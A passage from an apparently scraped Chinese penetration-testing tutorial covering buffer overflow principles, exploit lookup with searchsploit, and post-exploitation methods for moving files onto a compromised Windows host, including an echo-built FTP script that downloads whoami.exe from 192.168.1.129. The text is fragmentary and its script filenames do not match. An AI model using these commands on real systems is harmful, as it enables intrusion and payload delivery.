@
目录
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
本文以 kali-linux-2023.2-vmware-amd64 为例。
本文以原理为主。
这一部分技术更新换代很快。实操积累经验很重要。
如下,是一个最简单的漏洞原理:
!/bin/bash
echo $1 # 直接以命令行执行,只希望打印用户输入的字符。
数据?代码?
缓冲区溢出(Buffer Overflow)的含义是为缓冲区提供了多于其存储容量的数据。
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被 “ 撑爆 ” ,从而覆盖了相邻内存区域的数据。
如果人为成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。
参考文章:《缓冲区溢出攻击》
Windows 避免缓冲区溢出攻击的策略:
Linux 避免缓冲区溢出攻击的策略:
DEP
ASLR
堆栈 cookies
堆栈粉碎
源码审计
逆向工程
模糊测试(Fuzz Testing)
除了手工发现漏洞,对于扫描到的已知漏洞,可以寻找已有的 EXP,在此基础上修改,以此适用于相关的项目。
“ EXP ” 通常指漏洞利用(Exploitation)或漏洞利用代码(Exploit)。
示例01:使用 searchsploit 查询漏洞代码:
查找相关 EXP:
searchsploit windows .py
查询 EXP 路径:
searchsploit -p 38959.py
拷贝到当前文件夹:
cp /usr/share/exploitdb/shellcodes/generator/38959.py 38959.py
EXP 内容:
在漏洞利用,获得目标控制权后:
对于后渗透阶段:
控制目标后,若目标是 Linux 系统,可选择以下方式上传文件:
以上都是 Linux 预装的工具,或者是很容易在 Linux 上安装的工具。
Windows 缺少预装的下载工具。有以下方法传输文件:
TFTP:
atftpd
命令作为服务器共享文件。tftp
命令获取文件。FTP:
echo
命令将相关操作写入 txt 文件。ftp
命令操作此 txt 文件以获取下载。echo open 192.168.1.129 21 > ftp_test.txt
echo user1 >> ftp_test.txt
echo PassWorD >> ftp_test.txt
echo bin >> ftp_test.txt
echo GET whoami.exe >> ftp_test.txt
echo bye >> ftp_test.txt
ftp -s:ftp.txt
VBScript(Visual Basic Scripting Edition),一种微软开发的脚本语言,用于在 Windows 上编写和执行脚本。
DeBug:二进制文件操作。
除此以外,在 Kali 中 /usr/share/windows-binaries/ 目录下自带了一些可以上传到 Windows 上使用的工具,便于后续操作。
闭心塞意,不高瞻览者,死人之徒也哉!
——《论衡》(东汉)王充
手机扫一扫
移动阅读更方便
你可能感兴趣的文章